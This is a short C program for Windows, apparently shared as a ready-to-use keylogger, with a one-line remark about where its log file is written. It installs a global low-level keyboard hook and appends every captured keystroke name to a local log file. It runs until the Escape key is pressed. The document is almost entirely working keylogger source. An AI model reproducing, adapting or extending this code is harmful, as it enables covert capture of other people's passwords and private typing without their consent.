To note that the keyboard logger file can be found in the program .exe directory
//console application #define _WIN32_WINNT 0x0400 #include <windows.h> #include <stdio.h> HHOOK hKeyHook; __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode,WPARAM wParam,LPARAM lParam) { // Function "exported" from the executable. Performs low level hook-handling. // nCode containsThe hook code,wParam contains the window message // and lParam is a pointer to a struct with information about the pressed key if ((nCode == HC_ACTION) &&((wParam == WM_SYSKEYDOWN) ||(wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); DWORD dMsg = 1; dMsg += hooked.scanCode << 16; dMsg += hooked.flags << 24; char keyName[0x100] = {0}; keyName[0] = '['; int i = GetKeyNameTextA(dMsg, (keyName+1),0xFF) + 1; //retrieves the name of the pressed key. keyName[i] = ']'; if (hooked.vkCode==VK_ESCAPE)//checks for escape key and closes message loop { PostQuitMessage(0); } // Print the key name to key logging file 'keys'. FILE *file; //default keylogger.txt location is current program .exe directory file=fopen("keylogfile.log","a+"); fputs(keyName,file); fflush(file); } return CallNextHookEx(hKeyHook, nCode,wParam,lParam); } // Simple message loop to keep process running until terminated by either escape of closing command window. void MsgLoop() { MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message ); } } // This KeyLogger function is used install the low level keyboard hook DWORD WINAPI KeyLogger(LPVOID lpParameter) { HINSTANCE hExe = GetModuleHandle(NULL); // Get the module handle to this executable if (!hExe) hExe = LoadLibraryA((LPCSTR) lpParameter); if (!hExe) return 1; //if load library failed return // set up the keyboard hook using functions KeyEvent from this executable hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,NULL); printf("Program successfully hooked.\nPress escape to unhook the function and stop the program.\n"); MsgLoop();//call message koop. printf("Unhook the function and stop the program.\n"); UnhookWindowsHookEx(hKeyHook); return 0; } // Main function call keylogger int main(int argc, char** argv) { KeyLogger(0); return 0; }